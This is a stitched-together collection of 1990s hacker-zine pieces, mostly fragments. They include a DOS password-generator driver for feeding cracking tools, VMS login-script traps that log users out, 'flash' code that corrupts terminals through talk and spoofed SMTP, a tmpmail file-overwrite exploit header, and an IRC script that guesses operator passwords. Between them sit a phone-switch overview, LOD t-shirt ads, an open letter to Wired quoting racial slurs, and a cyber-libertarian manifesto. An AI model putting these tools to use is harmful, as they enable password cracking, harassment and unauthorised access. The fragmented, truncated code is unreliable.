cmp byte ptr [number+si],'a' ;starting char. in range
;
;----------------------
for instance, if you wished to generate numbers from "0000000" to
"9999999"
-change the ending character to:
cmp byte ptr [number+si],'9'+1
-starting character to:
cmp byte ptr [number+si],'0'
and "number" variable from 'aaaaaa' to '0000000' and then
recompile..
-----
..or in the third case, if u had observed a lUSER type in most of
their password, you may want to rewrite the code to limit the
search. IE: limit the keys to a certain quadrant of the keyboard.
Modify the code starting at "reiterate:" and ending at "inc_num
endp" for this.
=================================================================
/'nuff of this!/ How do I get things working?
-----------------------------------------------
Compile the device driver "hackdrv.sys", and the second program,
"modpwd.asm". Then specify the device driver inside config.sys
(ie: "c:\hackdrv.sys"). The code below was compiled with the a86
compiler, v3.03. Some modifications might be needed to work with
other compilers.
To use it in prgs like crackerjack, type in the following on the
command line:
c:\>jack -pwfile: -word:hackpwd
------
If you had stopped a cracker program (eg: crackerjack) and want to
pick up from where you left off, run the program "modpwd.com".
This program can change HACKDRVs password through-
a) a command line argument (ie: "modpwd aabbbbe")
b) executing the program with no parameters (this method also
displays the current password in memory)
Happy Hacking,
Uncle Armpit
;-----------------------cut here--------------------------------
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw 0c000h ;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db 'aaaaaa',0ah ;<----six characters, lower case
numsize equ $-number - 2
afternum:
;working space for device driver
rh_ofs dw ?
rh_seg dw ?
ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2
ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov cx,numsize+1 ;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2
do_read:
push es
push bx
push cs
pop ds
mov si,[countr]
inc si ;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num
exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:
inc_num proc near
push si
mov si,numsize
reiterate:
inc byte ptr [number+si]
cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range
jnz _exit
mov byte ptr [number+si],'a' ;starting char. in range
dec si
cmp si,-1
jnz reiterate
mov byte ptr [number],01ah ;send EOF
_exit:
pop si
ret
inc_num endp
msg1 db "Incremental Password Generator (c)1995",0ah,0dh
db "Written by Uncle Armpit",0ah,0dh,0ah,0dh
db "Starting at word ["
tmpnum db 10 dup (?)
msgend db "]",0a,0d,'$'
;END hackdrv.sys
;check for information in command line
;else--> prompt for user input
mov al,pass_len
or byte ptr [0080h],0
jz req_input
mov cl,[0080h]
dec cl
mov [0081h],cl
mov si,0081h
mov di,offset newpass
mov cx,20
repe movsb
jmp vrfy_info
req_input:
mov ah,09
mov dx,offset cur_pass
int 21h
mov ah,0a
mov dx,offset pass_len
int 21h
vrfy_info:
mov ax,word ptr [pass_len]
cmp ah,0
jz error_pass
dec al
cmp ah,al
jnz error_len
;change the current password
xor cx,cx
mov cl,al
mov ah,044h
mov al,03
mov dx,offset newpass+1
int 21h
jnc success_pass
error_len:
mov ah,09
mov dx,offset errormsg
int 21h
error_pass:
mov ax,04c01h ;abnormal termination
int 21h
success_pass:
mov ax,04c00h
int 21h
devhandle dw ?
cur_pass db 'Current password is ['
databuffr db 20 dup (?)
pass_end db '] ;'
num_chr db ' '
db ' characters',0ah,0dh,0ah,0dh
prompt db 'New word: ','$'
stringsz equ $ - pass_end
pass_len db 00
newpass db 20 dup (?)
errormsg db 'error changing password!',0ah,0dh,'$'
no_drvr db 'Error: '
devname db "HACKPWD ",00
db 'device driver not loaded!',0ah,0dh,07,'$'
" I have a dostogiefski.cld file; what do I do with it ? "
$ set command dostogiefski.cld
[12]
" Can I send messages to interactive processes ? "
$ reply [/user=username] [/bell] [/id=xxxx] " Carlos Marigella "
[13]
" How can I prevent someone from phoning me all the time ? "
$ set broadcast=(nophone)
[14]
" Can I postpone/disable interactive logins ? "
$ set logins /interactive=0
$ set logins /interactive
will display current value.
Under the same `logic' :
$ create innocent_filename.com
$ set nocontrol
$ context = ""
$ pid = F$PID(context)
$ user_name = F$GETJPI(pid,"username")
$ wait 00:01:00.00
$ write sys$output ""
$ write sys$output " System overloaded; please try again later "
$ write sys$output " Logging out process ''pid', of user ''user_name' "
$ write sys$output ""
$ logout /full
Add either to sys$system:sylogin.com or sys$login:login.com the following:
" $ @innocent_filename.com ".
[15]
" How can I modify the welcome file ? Where is it held ? "
$ set default sys$system
$ edit welcome.txt
[16]
" I am editing a huge text file. How can I reach the end of it ? "
at the editor's prompt type:
*find end
or
*find "search string"
[17]
" How can I be sure than noone is watching me from a hidden process ? "
$ show system /process
VAX/VMS V5.5-2 on node STIRNER 30-MAR-1937 02:10:41.94 Uptime 2 03:05:25
Pid Process Name State Pri I/O CPU Page flts Ph.Mem
.
.
.
00000114 SYMBIONT_4 HIB 5 290 0 00:00:19.05 1650 47
00000117 SMTP_SYMBIONT HIB 4 33398 0 00:16:49.67 246104 426
00000118 SYMBIONT_6 HIB 4 47868 0 00:05:09.01 296 121
00001255 SYMBIONT_0001 CUR 13 15 64293 0 00:05:08.12 1982 248
$ show system /full
VAX/VMS V5.5-2 on node STIRNER 30-MAR-1937 02:10:59.64 Uptime 2 03:05:43
Pid Process Name State Pri I/O CPU Page flts Ph.Mem
.
.
.
00000114 SYMBIONT_4 HIB 5 290 0 00:00:19.05 1650 47
[1,4]
00000117 SMTP_SYMBIONT LEF 5 33407 0 00:16:49.78 246116 502
[1,4]
00000118 SYMBIONT_6 HIB 5 47872 0 00:05:09.03 296 121
[1,4]
00001255 SYMBIONT_0001 CUR 13 15 64348 0 00:05:09.60 2063 268
[1,4]
$
See the difference between system's SYMBIONT processes ( i.e. SYMBIONT_4,
SYMBIONT_6, SMTP_SYMBIONT ) and the one created by using a `stealth' program
( SYMBIONT_0001 ); the names and the User Identification Codes may vary, but
state, priority, physical memory used, page faults, input/output and Process
IDentification numbers, can reveal, in combination, such a nastyness.
Afterwards you may " show process /id=xxxx /continuous ",
or " stop /id=xxxx ".
[18]
" Can I view the CPU usage of each process ? "
$ monitor processes /topcpu
will display a bar-chart of this kind.
[19]
Run the following .COM file and it will display information you'd
possibly need on an account and/or node. It uses simple lexical functions.
$ output :== write sys$output
$ output ""
$ node_id = F$CSID(context)
$ nodename = F$GETSYI("nodename",,node_id)
$ if F$GETSYI("cluster_member") .EQS. "TRUE"
$ then output " ''nodename' is a member of a cluster. "
$ else output " ''nodename' is not a member of a cluster. "
$ context = ""
$ username = F$GETJPI("","username")
$ output " Username : ''username' "
$ group = F$GETJPI("","grp")
$ output " Group : ''group' "
$ uic = F$USER()
$ output " User Identification Code : ''uic' "
$ pid = F$PID(context)
$ output " Process IDentification : ''pid' "
$ process = F$PROCESS()
$ output " Process Name : ''process' "
$ terminal = F$GETJPI("","terminal")
$ output " Terminal Name : ''terminal' "
$ priority = F$GETJPI("","authpri")
$ output " Authorized Priority : ''priority' "
$ maxjobs = F$GETJPI("","maxjobs")
$ output " Maximum Number of Processes Allowed : ''maxjobs' "
$ authpriv = F$GETJPI("","authpriv")
$ output " Authorized Privileges : ''authpriv' "
$ curpriv = F$GETJPI("","curpriv")
$ output " Current Privileges : ''curpriv' "
$ directory = F$DIRECTORY()
$ output " Directory : ''directory' "
$ protection = F$ENVIRONMENT("protection")
$ output " Protection : ''protection' "
$ boottime = F$GETSYI("boottime")
$ output " Boot Time : ''boottime' "
$ time = F$TIME()
$ output " Current Time : ''time' "
$ version = F$GETSYI("version")
$ output " VMS version : ''version' "
$ output ""
Compaq CEO Eckard Pfeiffer last week visited The Netherlands
to do some pr work. During a television interview for NOVA,
a well known news show that aired last Friday, Pfeiffer
claimed that pc's were easy to use, and could be used by
virtually anyone. So, the reporter asked him to switch the
tv channel on a Presario that was next to Pfeiffer that ran
a Windows-based TV tuner. The result was Pfeifer frantically
clicking on several menu bars, but instead of switching
channels, he exited the program altogether. To make things
worse, the reporter next asked him to start up a word
processor. Again, Pfeiffer, clicked his way around the
desktop, but couldn't find nor start the program. Finally,
he was asked to start up a game. You saw Pfeifer (now in
deep trouble) clicking on all the tabs of the "easy to use"
tab-works interface that is included on all Presario's,
looking for games, while muttering "Were are ze games? I
can't find ze games on zis machine!!!", his accent becoming
increasingly more German then before. It was almost like Dr.
Strangelove. The last shot is of a Compaq tech support guy,
rushing in to help him out.... So much for ease of use....
Voorburgwal 129, 1012 EP
Amsterdam, The Netherlands).
Ok, I'm going to assume that you already know a little bit about what it
is you're reading. The DMS100/IBN (integrated business network) is
composed of mainly electronic business sets, phones, data units, and
attendant consoles and units, all physically at the customers place of
business. While the digital switching software and support hardware is
located at the Telco. Together, in tandem they work to give the customer
one of the best combinations of features and benefits. The DMS-100
combines voice AND data in one business comunications package. One of
the many advantages is it offers the use with *any* sized business with
up to 30,000 lines. The IBN system controls most operations, diagnoses
problems, and also has the ability to do limited repairs on itself.
Being modular, it can meet the needs at hand, and have the ability for
new features, as time goes by, while still maintaining a cost-effective
environment. Another advantage is that is uses a central attendant where
and when needed. Along with Call Routing, or CDR, to control and
restrict Long Distnace Calling, and network management. The IBN gives
the user hassle free operation. Northern Telcom's DMS-100 switches,
which by the way are digital, are frequently backed-up by their
*higher trained* personnel, which isnt saying much. Some other features
are: Automatic Routing Selection, or ARS, which routes the long distance
calls, if they are even allowed, over the most economical (right) route
available. Station Message Detail Recording, or SMDR, which basically
does just what its name states, records long distance charges, including
but not limited to, originating number, time and length of call,
authorization code, and others... Yet another capability is the Direct
Inward System Access (DISA), which gives the personnel the ability to use
the system to place long distance calls cheaply, even from outside the
company (sounds like a PBX a bit doesn't it?).
System Features and Benefits: There are 6 Call Waiting Lamp Loop Keys,
each with its associated source AND destination lamp to signify the
status of both the calling and the called party status. The Second
feature is Alpha Numeric Display Multiple Directory Number Feature Keys,
up to 42 of them, which can be used for a Paging System, or speed
dialing, and things along those lines. A third feature is the release
Source/Release Destination Console, which features access to paging.
Other features which mainly are unimportant I will list here, they are:
Call Identifier Exclude Source/Exclude Destination. Remote Console Call
Destination. Signal Source.Signal Destination. Call Holding. Call
Detail Entry. Remote Console Call Selection. Console Display. Camp-on
Automatic Recall Conference. A 6 port 2 way splitting non-delayed
operation. Busy Verification of Lines. Manual and Automatic Hold.
Multiple Console OPeration. Busy verification of trunks. Switched Loop
Operation. Trunk Group Busy Indication. Uniform Call distribution form
queue. Multiple listed directory numbers. Control of trunk group
access. Secrecy. Night Service. Serial call. Speed Calling. Lockout.
Delayed Operation. Position Busy. Interposition Calling. THrough Call
Pickup. RIng Again. Multiple Directory Numbers. Intercom. Speed
Call. Call Transfer/Conference. On-Hook Dialing. Additional
Programmable Features include automatic hold. Listem-on hold. Multiple
Appearance Directory Numbers, or MADN. Single Call Arrangement.
Multiple Call Arrangement. Privacy Release. Tone Ringing with Volume
Control. Call Waiting. Stored Number Redial. Private Business Line.
And Finally a 32 character alphanumeric data unit. The DMS100/IBN can be
used as a "standalone" or can be attached to the business set or other
phone type unit. It has the ability to transmit over a two wire loop, at
speeds of up to 56 kb per second, using a proprietary time compression
multiplexing technology. The DMS100 is also available in different
models to suit existing terminal capacities. It also provides integrated
voice/data, that right data, communications. They, the phone company,
and data unit, can operate together, simultaniously, or even independant
of one another. Being fully digitized, it was one if the first switches
to eliminate the use of those dinosaur analog modems (for which i still
have a few if anyone wants to buy em off me or give me shipping money and
ill send em to ya free). Well thats it for now. This should give you a
good understanding of the capabilities of one of the many switches in use
today. In fact, although outdated somewhat, my telco, citizens
utilities, and one in stockton from what i just found out, is still using
this switch (poor me in elk grove, ca eh?)
which makes phreaking quite an easy task, not that it was really ever
hard but anything to make it easier help. ANyway, if you have any
comments/flames/general bullshit, mail it to either
jmatrix@mindvox.phantom.com or capthook@sekurity.com the latter being a
last resort email address.
ciao
---Captain Hook
The official Legion of Doom t-shirts are stll available!!!
Join the net luminaries world-wide in owning one of these amazing
shirts. Impress members of the opposite sex, increase your IQ,
annoy system administrators, get raided by the government and
lose your wardrobe!
Can a t-shirt really do all this? Of course it can!
This t-shirt chronicles the infamous "Hacker War" between rival
groups The Legion of Doom and The Masters of Destruction. The front
of the shirt displays a flight map of the various battle-sites
hit by MOD and tracked by LOD. The back of the shirt
has a detailed timeline of the key dates in the conflict, and
a rather ironic quote from an MOD member.
(For a limited time, the original is back!)
"LEGION OF DOOM -- INTERNET WORLD TOUR"
The front of this classic shirt displays "Legion of Doom Internet World
Tour" as well as a sword and telephone intersecting the planet
earth, skull-and-crossbones style. The back displays the
words "Hacking for Jesus" as well as a substantial list of "tour-stops"
(internet sites) and a quote from Aleister Crowley.
[The editor's Open Letter to Wired Magazine...they actually had the nerve
to print it in their May issue. Amazing...or was it? The letter was posted
to 10 USENET newsgroups, put on the Wired forums on AOL, Mindvox and the Well,
sent in email to every user of wired.com, faxed to all 7 fax machines at
Wired and sent to them registered mail. Probably more than 5 times
Wired's paid circulation saw it, so they HAD to print it or look foolish.
At least, that's my take on it. Just for overkill, here it is again.]
To Whom It May Concern:
I am writing this under the assumption that the editorial staff at
Wired will "forget" to print it in the upcoming issue, so I am
also posting it on every relevant newsgroup and online discussion forum
that I can think of.
When I first read your piece "Gang War In Cyberspace" I nearly choked on
my own stomach bile. The whole tone of this piece was so far removed from
reality that I found myself questioning what color the sky must be
in Wired's universe. Not that I've come to expect any better from Wired.
Your magazine, which could have had the potential to actually do something,
has become a parody...a politically correct art-school project that
consistently falls short of telling the whole story or making a solid point.
(Just another example of Kapor-Kash that ends up letting everyone down.)
I did however expect more from Josh Quittner.
I find it interesting that so much emphasis can be placed on an issue of
supposed racial slurs as the focus of an imaginary "gang war," especially
so many years after the fact.
It's also interesting to me that people keep overlooking the fact that one of
the first few members of our own little Legion of Doom was black (Paul
Muad'dib.) Maybe if he had not died a few years back that wouldn't be
so quickly forgotten. (Not that it makes a BIT of difference what color
a hacker is as long as he or she has a brain and a modem, or these days
at least a modem.)
I also find it interesting that a magazine can so easily implicate someone
as the originator of the so-called "fighting words" that allegedly sparked
this online-battle, without even giving a second thought as to the damage
that this may do to the person so named. One would think that a magazine
would have more journalistic integrity than that (but then again, this IS
Wired, and political correctness sells magazines and satisfies advertisers.)
Thankfully, I'll only have to endure one month of the "Gee Chris, did you
know you were a racist redneck?" phone calls.
It's further odd that someone characterized as so sensitive to insults
allegedly uttered on a party-line could have kept the company he did.
Strangely enough, Quittner left out all mention of the MOD member who called
himself "SuperNigger." Surely, John Lee must have taken umbrage to an
upper-middle class man of Hebrew descent so shamefully mocking him and
his entire race, wouldn't he? Certainly he wouldn't associate in any way
with someone like that...especially be in the same group with, hang out with,
and work on hacking projects with, would he?
Please, of course he would, and he did. (And perhaps he still does...)
The whole "racial issue" was a NON-ISSUE. However, such things make
exciting copy and garner many column inches so keep being rehashed. In
fact, several years back when the issue first came up, the statement was
cited as being either "Hang up, you nigger," or "Hey, SuperNigger," but
no one was sure which was actually said. Funny how the wording changes
to fit the slant of the "journalist" over time, isn't it?
I wish I could say for certain which was actually spoken, but alas, I was not
privy to such things. Despite the hobby I supposedly so enjoyed according
to Quittner, "doing conference bridges," I abhorred the things. We used to
refer to them as "Multi-Loser Youps" (multi-user loops) and called their
denizens "Bridge Bunnies." The bridge referred to in the story was
popularized by the callers of the 5A BBS in Houston, Texas. (A bulletin board,
that I never even got the chance to call, as I had recently been raided by
the Secret Service and had no computer.) Many people from Texas did call
the BBS, however, and subsequently used the bridge, but so did people from
Florida, Arizona, Michigan, New York and Louisiana. And as numbers do in the
underground, word of a new place to hang out caused it to propagate rapidly.
To make any implications that such things were strictly a New York versus Texas
issue is ludicrous, and again simply goes to show that a "journalist" was
looking for more points to add to his (or her) particular angle.
This is not to say that I did not have problems with any of the people
who were in MOD. At the time I still harbored strong feelings towards
Phiber Optik for the NYNEX-Infopath swindle, but that was about it.
And that was YEARS ago. (Even I don't harbor a grudge that long.)
Even the dozen or so annoying phone calls I received in late 1990 and
early 1991 did little to evoke "a declaration of war." Like many people,
I know how to forward my calls, or unplug the phone. Amazing how technology
works, isn't it?
Those prank calls also had about as much to do with the formation of Comsec as
bubble-gum had to do with the discovery of nuclear fission. (I'm sure if you
really put some brain power to it, and consulted Robert Anton Wilson,
you could find some relationships.) At the risk of sounding glib, we
could have cared less about hackers at Comsec. If there were no hackers,
or computer criminals, there would be no need for computer security
consultants. Besides, hackers account for so little in the real picture
of computer crime, that their existence is more annoyance than something
to actually fear.
However, when those same hackers crossed the line and began tapping our
phone lines, we were more than glad to go after them. This is one of my only
rules of action: do whatever you want to anyone else, but mess with me and
my livelihood and I will devote every ounce of my being to paying you back.
That is exactly what we did.
This is not to say that we were the only people from the computer underground
who went to various law enforcement agencies with information about
MOD and their antics. In fact, the number of hackers who did was staggering,
especially when you consider the usual anarchy of the underground. None of
these other people ever get mentioned and those of us at Comsec always take
the lead role as the "narks," but we were far from alone. MOD managed to
alienate the vast majority of the computer underground, and people reacted.
All in all, both in this piece, and in the book itself, "MOD, The Gang That
Ruled Cyberspace," Quittner has managed to paint a far too apologetic piece
about a group of people who cared so very little about the networks they
played in and the people who live there. In the last 15 years that I've
been skulking around online, people in the community have always tended
to treat each other and the computers systems they voyeured with a great deal
of care and respect. MOD was one of the first true examples of a groupthink
exercise in hacker sociopathy. Selling long distance codes, selling credit
card numbers, destroying systems and harassing innocent people is not
acceptable behavior among ANY group, even the computer underground.
There have always been ego flares and group rivalries in the underground, and
there always will be. The Legion of Doom itself was FOUNDED because of a
spat between its founder (Lex Luthor) and members of a group called The Knights
of Shadow. These rivalries keep things interesting, and keep the community
moving forward, always seeking the newest bit of information in a series
of healthy one-upsmanship. MOD was different. They took things too far
against everyone, not just against two people in Texas.
I certainly don't condemn everyone in the group. I don't even know
a number of them (electronically or otherwise.) I honestly believe
that Mark Abene (Phiber) and Paul Stira (Scorpion) got royally screwed while
the group's two biggest criminals, Julio Fernandez (Outlaw) and Allen Wilson
(Wing), rolled over on everyone else and walked away free and clear. This is
repulsive when you find out that Wing in particular has gone on to be
implicated in more damage to the Internet (as Posse and ILF) than anyone in
the history of the computing. This I find truly disgusting, and hope that
the Secret Service are proud of themselves.
Imagine if I wrote a piece about the terrible treatment of a poor prisoner
in Wisconsin who was bludgeoned to death by other inmates while guards
looked away. Imagine if I tried to explain the fact that poor Jeff Dahmer was
provoked to murder and cannibalism by the mocking of adolescent boys who teased
and called him a faggot. How would you feel if I tried to convince you that we
should look upon him with pity and think of him as a misunderstood political
prisoner? You would probably feel about how I do about Quittner's story.
'Hacker' can just as easily be applied to "journalists" too, and with this
piece Quittner has joined the Hack Journalist Hall of Fame, taking his
place right next to Richard Sandza.
Quittner did get a few things right. I do have a big cat named Spud, I do
work at a computer company and I do sell fantastic t-shirts. Buy some.
It is becoming increasingly apparent that the arrival of cyberspace is
destined to engender a fundamental discontinuity in the course of human
relations. This is a source of great optimism and opportunity for those of
us who believe in freedom.
Many of you who participate in the lively debates that take place in these
forums have seen a number of activist organizations spring up claiming to
represent the cause of freedom. And if you are like me you have cheered
these groups on only to watch them get bogged down in a quagmire of
realpolitics.
It is a sad fact that the beast in Washington has evolved into a
self-perpetuating engine expert at co-opting the principles of even the most
ardent reformers. Slowly but surely all those who engage the system are
ultimately absorbed into the mainstream miasma of majoritarianism. For
example, what can be more discouraging than watching an organization that
started out as a civil liberties group shift its focus to creating new forms
of government entitlements while endorsing intrusive wiretap legislation
because they didn't want to jeopardize their influence and prestige amongst
the Washington power elite?
Some of us believe we can seek ultimate redress at the polls. Many pundits
have declared our recent national elections a watershed in politics, a
turning point that represents the high water mark of big government.
Nonsense. The names have changed, the chairs have been rearranged, but the
game remains the same. The so-called "choices" we are presented with are
false, hardly better than the mock one-party elections held by failed
totalitarian regimes. There must be a better way.
I would like to announce the formation of a new group - DigitaLiberty - that
has chosen a different path. We intend to bypass the existing political
process. We reject consensus building based on the calculus of compromise.
Instead we plan to leave the past behind, much as our pioneering forefathers
did when they set out to settle new lands. It is our mission to create the
basis for a different kind of society. If you would like to join us I invite
you to read the information below.
Yours in freedom,
Bill Frezza
Co-founder, DigitaLiberty
December 1994
*** What is DigitaLiberty?
DigitaLiberty is an advocacy group dedicated to the principled defense of
freedom in cyberspace. We intend to conduct this defense not by engaging in
traditional power politics but by setting an active, persuasive example -
creating tangible opportunities for others to join us as we construct new
global communities.
We believe deeply in free markets and free minds and are convinced that we
can construct a domain in which the uncoerced choices of individuals supplant
the social compact politics of the tyranny of the majority.
*** Is DigitaLiberty a political party or a lobbying group?
Neither.
DigitaLiberty does not seek to educate or influence politicians in the hope
of obtaining legislation favorable to our constituents. We plan to make
politicians and legislators irrelevant to the future of network based
commerce, education, leisure, and social intercourse.
DigitaLiberty does not seek to persuade a majority of the electorate to adopt
views which can then be forced upon the minority. We hope to make
majoritarianism irrelevant. We invite only like minded individuals to help
us build the future according to our uncompromised shared values.
*** What do you hope to accomplish?
DigitaLiberty is not hopeful that widespread freedom will come to the
physical world, at least not in our lifetime. Too many constituencies depend
upon the largess and redistributive power of national governments and
therefore oppose freedom and the individual responsibility it entails. But
we do believe that liberty can and will prevail in the virtual domains we are
building on the net and that national governments will be powerless to stop
us. We believe that cyberspace will transcend national borders, national
cultures, and national economies. We believe that no one will hold
sovereignty over this new realm because coercive force is impotent in
cyberspace.
In keeping with the self-organizing nature of on-line societies we believe we
will chose to invent new institutions to serve our varied economic and social
purposes. DigitaLiberty intends to be in the forefront of the discovery and
construction of these institutions.
*** But what about the construction of the "Information Superhighway"?
The fabric of cyberspace is rapidly being built by all manner of entities
espousing the full range of political and economic philosophies. While
political activity can certainly accelerate or retard the growth of the net
in various places and times it cannot stop it nor can it effectively control
how the net will be used.
Our focus is not on the institutions that can and will impact the building of
the physical "information highway" but on those that will shape life on the
net as an ever increasing portion of our productive activities move there.
*** What makes you think cyberspace will be so different?
The United States of America was the only country in history ever to be built
upon an idea. Unfortunately, this idea was lost as we slowly traded away our
liberties in exchange for the false promise of security.
DigitaLiberty believes that technology can set us free. The economies of the
developed world are now making a major transition from an industrial base to
an information base. As they do, the science of cryptology will finally and
forever guarantee the unbreachable right of privacy, protecting individuals,
groups, and corporations from the prying eyes and grasping hands of
sovereigns. We will all be free to conduct our lives, and most importantly
our economic relations, as we each see fit.
Cyberspace is also infinitely extensible. There will be no brutal
competition for lebensraum. Multiple virtual communities can exist side by
side and without destructive conflict, each organized according to the
principles of their members. We seek only to build one such community, a
community based on individual liberty. Others are free to build communities
based on other principles, even diametrically opposed principles. But they
must do so without our coerced assistance.
Effective communities will thrive and grow. Dysfunctional communities will
wither and die. And for the first time in human history, rapacious societies
will no longer have the power to make war on their neighbors nor can bankrupt
communities take their neighbors down with them.
*** What does this have to do with my real life? I can't eat data. I don't
live in a computer.
Yes, but imagine the ultimate impact of mankind's transition from an agrarian
economy to an industrial economy to an information economy. Our founding
fathers would have consider anyone insane who predicted that a nation of 250
million could feed itself with fewer than 3% of its citizens involved in
agriculture. Similarly, economists and politicians trapped in the policies
of the past lament our move from a manufacturing economy to a knowledge
worker and service based economy. We see this as a cause to rejoice.
The day will come when fewer than 5% of the citizens of a nation of 1 billion
will be involved in manufacturing - if we still bother calling geographically
defined entities "nations". What will the rest of us be doing? We will be
providing each other with an exploding array of services and we will be
creating, consuming, and exchanging information. Most of this will occur
entirely within or be mediated at least in part by our activities in
cyberspace.
Many of us will earn a very good living on the net. Our race, our religion,
our gender, our age, our physical appearance and limitations will all be
irrelevant and undetectable. Hard working individuals from underdeveloped
nations who in the past might have been forced to emigrate in search of
economic freedom and opportunity can now build productive lives in
cyberspace. And much if not all of the wealth we create that we do not
transform into visible physical assets will be ours to keep and use, beyond
the grasp of sovereigns.
*** What is the purpose of this forum?
The DigitaLiberty Forum is a place where like minded individuals can share
their views, observations, and strategies related to the development of
virtual communities based on freedom. It is a place where people can
exchange information and advice about how they have developed
extra-territorial business and social relationships - away from the
influence and outside the jurisdiction of governments. It is a forum for the
posting of essays, questions, and ideas on the topic of liberty. It is a
place where we can meet and debate the forms that our new institutions might
take and discuss the practical problems and responsibilities that freedom
entail.
In time as our technology matures some of us will move on to more ambitious
projects, launch other programs, and begin our virtual migration from the
swamp of coerced collectivism. Best of all, there will be no need to
physically move to 'Galt's Gulch' or escape to a floating 'Freedonia'. We
can all participate in this exodus without hastily quitting our jobs or
disrupting our lives. And as a larger and larger portion of our economic and
social activities move onto the net we will create a new society, open to all
with the will to enter. This new world will be interleaved with the physical
world in which we now live and yet will be separate. And free.
Join us as we begin the journey.
*** Who can join DigitaLiberty?
The DigitaLiberty Forum is open to anyone that can honestly answer yes to the
following two questions:
1) I renounce the use of coercive force as a tool of social or economic
policy.
2) I do not derive the majority of my income from funds taken from
taxpayers.
*** How do I join DigitaLiberty?
If you qualify, send a message to DigitaLiberty-request@phantom.com with the
words "SUBSCRIBE" in the subject line and the message body as follows
/*
Modified from the original by Vassago. Superflash mods unknown.
Try the PhoEniX FTP Site: wentz21.reslife.okstate.edu in /pub.
*/
/*
This little program is intended to quickly mess up a user's
terminal by issuing a talk request to that person and sending
vt100 escape characters that force the user to logout or kill
his/her xterm in order to regain a sane view of the text.
It the user's message mode is set to off (mesg n) he/she will
be unharmed.
Try compiling with: gcc -o flash flash3.c
Usage: flash user@host []
Level is either the number or the word for these:
1) BASIC - Old flash, no zmodem.
2) ZMODEM - Old with ZModem.
3) KILLER - 99 ZModem flashes.
*/
address = (struct sockaddr_in *)&addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1)
{
/* it wasn't.. so we try it as a long host name */
host = gethostbyname(hostname);
if (host)
{
/* wow. It's a host name.. set the fields */
/* ?? address->sin_family = host->h_addrtype; */
bcopy( host->h_addr, (char *)&address->sin_addr,
host->h_length);
}
else
{
/* oops.. can't find it.. */
puts("Flash aborted, could not find address.");
exit(-1);
return (struct sockaddr_in *)0;
}
}
/* all done. */
return (struct sockaddr_in *)address;
}
SendTalkPacket(struct sockaddr_in *target, char *p, int psize)
{
int s;
struct sockaddr sample; /* not used.. only to get the size */
GetType(char *TypeStr)
{
if (strcmp(TypeStr,"basic")==0)
return(1);
else if (strcmp(TypeStr,"zmodem")==0)
return(2);
else if (strcmp(TypeStr,"killer")==0)
return(3);
else if (strcmp(TypeStr,"1")==0)
return(1);
else if (strcmp(TypeStr,"2")==0)
return(2);
else if (strcmp(TypeStr,"3")==0)
return(3);
}
main(int argc, char *argv[])
{
char *hostname, *username;
int pid,type,name;
if ( (pid = fork()) == -1)
{
perror("fork()");
exit(-1);
}
if ( !pid )
{
exit(0);
}
if (argc < 2) {
puts("USAGE: flash user@host []");
puts("Types are: 1) basic, 2) zmodem, 3) killer.");
puts("Default flash type is zmodem.");
exit(5);
}
if (argc >= 3) {
type=GetType(argv[argc-1]);
if(type<1||type>3)type=ZMODEM;
}
else type=ZMODEM; /* default */
This is a simple program which demonstrates the problem with certain
parts of VT100 emulation. Previously similar programs made use
of talkd, but a user could stop attempts by simply entering
"mesg n". This program sends the "flash" string which will really
screw over a terminal in the SUBJECT header of e-mail. E-Mail readers
such as pine show you this before you can decide to even delete the mail!
Support has been added to choose your own SMTP server for neat-o hostname
spoofing. (krad!)
if (argc != 4) {
printf("usage: mflash smtp_server from to\n");
exit(0);
}
printf("Connecting to SMTP Server %s\n",argv[1]);
smtp_connect(argv[1]);
printf("Sending Mail Flash To %s\n",argv[3]);
sprintf(buf, "helo a\nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h\n.\nquit\n",argv[2],argv[3]);
send(thesock, buf, strlen(buf), 0);
/* I am not sure how to check when this buffer is done being sent.
If you are having any problems increase the sleep time below! */
printf("Sleeping To Make Sure Data Is Sent ...\n");
sleep(3);
printf("Done!\n");
}
[Editor's Note: Does this work? I don't think so, but a clever hacker might
use the code to do something "interesting." The concept is sound...the
delivery needs a bit of tweaking.]
#!/bin/sh
# tmpmail: overwrite files using binmail
#
# Usage: tmpmail to-file
#
# (c) [8lgm] 1994, tested under SunOS 4.1.2.
#
#
# Note: Script only works if mail is suid root.
# Other vendors may use tmpnam("ma").
#
# This vulnerability can be exploited for sgid
# mail binmails, the only modification would
# be to predict the pid of the mail process
# created by sendmail. This would be 4 forward
# of the current pid - assuming a 'quiet' system.
#
# Will create to-file, or truncate.
# #
### Poke server (causes a "POKE : unknown command" reply)
# #
@ hackop.poke.junk = [FOGBGMGJGBHDCAHBHFGPHEGFCAHLCEGEGFGDGPGEGFCICEDCCNCJHN]
alias hackop.poke {
quote POKE \\;$decode($hackop.poke.junk)
wait
}
# #
### Send bogus passwords..
# #
alias hackop.hack {
foreach HackOP XX {
if ([$(HackOP.$XX)]!=[]) {quote OPER $N $(HackOP.$XX)}
wait
}
}
# #
### Attempt to hack ops..
# #
alias hackop {
umode -sw
echo [HackOP] Poking server.. (should reply with error message)
hackop.poke
echo [HackOP] Attempting to hack IrcOps..
hackop.hack
}
# #
### Help..
# #
alias hackhelp {
echo
echo [HackOP] You have loaded HackOP.irc v1.3+path from Illegible 8.
echo [HackOP]
echo [HackOP] This script attempts to hack IRC Operator status on
echo [HackOP] your current server. To use it just type /hackop.
echo [HackOP]
echo [HackOP] Aliases added: /hackhelp /hackop /kpath
echo [HackOP]
echo [HackOP] Enjoy it.. /kill your friends. 8-)
echo
}
# #
### The following code is taken from the ircII 2.2.9 distribution...
# #
###############################################################################
#
# No Kill Path Script II
